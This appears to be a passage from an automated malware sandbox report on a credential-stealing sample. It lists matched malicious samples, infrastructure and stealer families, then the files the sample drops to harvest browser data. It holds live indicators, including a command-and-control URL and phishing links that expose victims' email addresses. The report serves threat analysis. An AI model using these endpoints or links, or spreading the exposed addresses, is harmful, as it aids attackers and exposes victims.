	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
20.189.173.8	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	Untitled.msg	Get hash	malicious	Phisher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	https://tcmedcenter-my.sharepoint.com/:f:/g/personal/jessica_larson_tcmedcenter_org/Ek1X93Tsfp5KoiWqKbJ_ocQBqlE2wGVJqWkJh4H7mn0vuw?e=Yni2o7	Get hash	malicious	Unknown	Browse
	https://forms.office.com/Pages/ResponsePage.aspx?id=4mPIUn7HtEOifSf_jkD9akHPEdQOqpJDoTs5yuUf8txUMEFQTE42TU03SUJBSU84VTY3MEtFR1JaUS4u	Get hash	malicious	HTMLPhisher	Browse
	Axactor Microsoft - Introduksjonsm#U00f8te.msg	Get hash	malicious	EvilProxy	Browse
	https://url.uk.m.mimecastprotect.com/s/879wCp9pjInpwnDHPf7CG_Zsy?domain=aerographicsut-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse
	https://file365-cloud.s3.eu-west-2.amazonaws.com/ML+Payment+05323.pdf	Get hash	malicious	HTMLPhisher	Browse
	Fwd_ Contract #213100825.msg	Get hash	malicious	Unknown	Browse
	EXTERN Zahlungsbest#U00e4tigung.msg	Get hash	malicious	CVE-2024-21412	Browse
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	WSock.dll	Get hash	malicious	Ramnit	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	172.64.41.3
	exe004(1).exe	Get hash	malicious	Ramnit	Browse	162.159.61.3
	Dell-Command-Update-Windows-Universal-Application_9M35M_WIN_5.4.0_A00.EXE	Get hash	malicious	Unknown	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	WSock.dll	Get hash	malicious	Ramnit	Browse	18.244.18.38
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.245.60.107
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.245.60.53
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.110.123
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	18.165.183.30
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	18.245.60.53
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.110.104
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	13.32.99.21
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	13.32.99.21
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.53

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	40.126.32.72
	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	40.126.32.140
	https://groupjlansen.com/?klkzhkfz	Get hash	malicious	HTMLPhisher	Browse	20.190.159.73
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	jokLq9gHyc.exe	Get hash	malicious	INC Ransomware	Browse	52.123.255.71
	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	52.123.224.74
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
AKAMAI-ASN1EU	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	23.200.3.19
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.138
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.117.182.56
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	88.221.110.179
	boatnet.m68k.elf	Get hash	malicious	Unknown	Browse	172.236.11.132
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.43
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	23.219.82.26
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.203.77
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	23.44.203.68
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	88.221.110.208
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
EDGECASTUS	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	WSock.dll	Get hash	malicious	Ramnit	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	152.195.19.97
	https://atpscan.global.hornetsecurity.com/?d=zgarMAzqF8gJdiyz7BRUZX8-Kt1RoHrhrMmKtaU9kW8&f=VhLn9tqiibnSyqWDnEopjApZtye8WgAc5bwx7BMFWiKwqjA1EcPjZyfvoQy11klP&i=&k=QQhP&m=0jL9ajZ_jxYnMJb2yb4luNRYQCXy24RTS6RPwUyZoAcuBVX0kzGA69aOJSo0d2htwIsi238bOVH3h3HqrhJGfzTuFk7GTjJWYsgIrocXphf5x2p4nZ7S2EABjAck31fG&n=TU5FjsulXTMv8aeSlx257utLr9bUpfdm0dDB4GNEHfOuhOvtIOr62mZHw3PXGZeG&r=qntyoaxGftDLRu_wopiK2t_EdeZaeg9mP15ZZI-qDen_3s7cQ10pAlhKQQnYAIUX&s=c4a8f5ec353e41b8b414bdcf47b33dd5d6b52b0394e0e4a09cc54527f49761c3&u=https%3A%2F%2Fthe1oomisagency.com%2Fthyu%2F	Get hash	malicious	Unknown	Browse	152.195.15.58
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	152.199.21.175
	http://www.dvdcollections.co.uk/search/redirect.php?deeplink=https://lp-engenharia.com/zerooo/?email=mwright@burbankca.gov	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	152.195.19.97
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	152.199.21.175

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://online.flippingbook.com/view/946261857/	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	EFT Direct Deposit Fo2424263460.txt.htm	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	http://cdn.bootcss.com	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	https://www.google.ca/url?q=30NUMBER&rct=44304277659948745221&sa=t&url=amp/s/estudioit.cl/starl/%23YmhpbmVzQGlubm92aWEuY29t	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
	aspweb88.exe	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 20.190.177.22 23.218.208.109
6271f898ce5be7dd52b0fc260d0662b3	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	WSock.dll	Get hash	malicious	Ramnit	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	AaronGiles(1).exe	Get hash	malicious	PureCrypter	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	PO-000041492.xls	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	nested-phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	https://www.google.ie/url?q=queryy8px(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2ftranscabrera.com%2fyaya%2f37w6telbuncxaji5ywvxeooxd1ok88ou67nhi/bWFyay5tY2tlbnppZUBtYWdlbGxhbmxwLmNvbQ==$?	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	EIR5pTRn9R.exe	Get hash	malicious	DragonForce	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 2.16.158.80 20.234.120.54 20.74.47.205 20.223.35.26
3b5074b1b5d032e5620f69f9f700ff0e	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	20.198.118.190 20.198.119.84
	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	20.198.118.190 20.198.119.84
	sus.ps1	Get hash	malicious	LummaC	Browse	20.198.118.190 20.198.119.84
	KEFttAEb.vbs	Get hash	malicious	HTMLPhisher	Browse	20.198.118.190 20.198.119.84
	DEVIS_VALIDE.js	Get hash	malicious	XWorm	Browse	20.198.118.190 20.198.119.84
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	20.198.118.190 20.198.119.84
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	20.198.118.190 20.198.119.84
	________.exe	Get hash	malicious	Quasar	Browse	20.198.118.190 20.198.119.84
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	20.198.118.190 20.198.119.84
	GST DRC-01A - DIN-20230359XL050081843E_msg.exe	Get hash	malicious	GuLoader	Browse	20.198.118.190 20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AECAKECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBFBGCGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2678499111809098
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM0SA1LyKOMq+8iP5GDHP/0jMVum+:Kq+n0J091LyKOMq+8iP5GLP/07
MD5:	3A3C8E714EE8DFAF110B0904727AEDC3
SHA1:	8C22C5D77F37B46B045B1528D6D1B3E777674130
SHA-256:	28B776A2625743D9B2BE901159F71CED564D62BF72E18289BE3695F06D02405C
SHA-512:	04AAB0FEF78C6FE5F9A2A727D37A383F87E208EFD4DF8C58919938A1E85DD93992A251ACA26DC9F50D8E25730CE19050ADC829F39FD41179981A1B0CE52BAA66
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGDHDHJEBGHJKFIECBGCBGCAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCBGDHIEBFHCBFHDHDHJKFCBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCGIDHDAKJECBFHCBAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GIEBFHCAKFBGDHIDHIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFIEHCFIECBGCBFHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: qlI3ReINCV.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
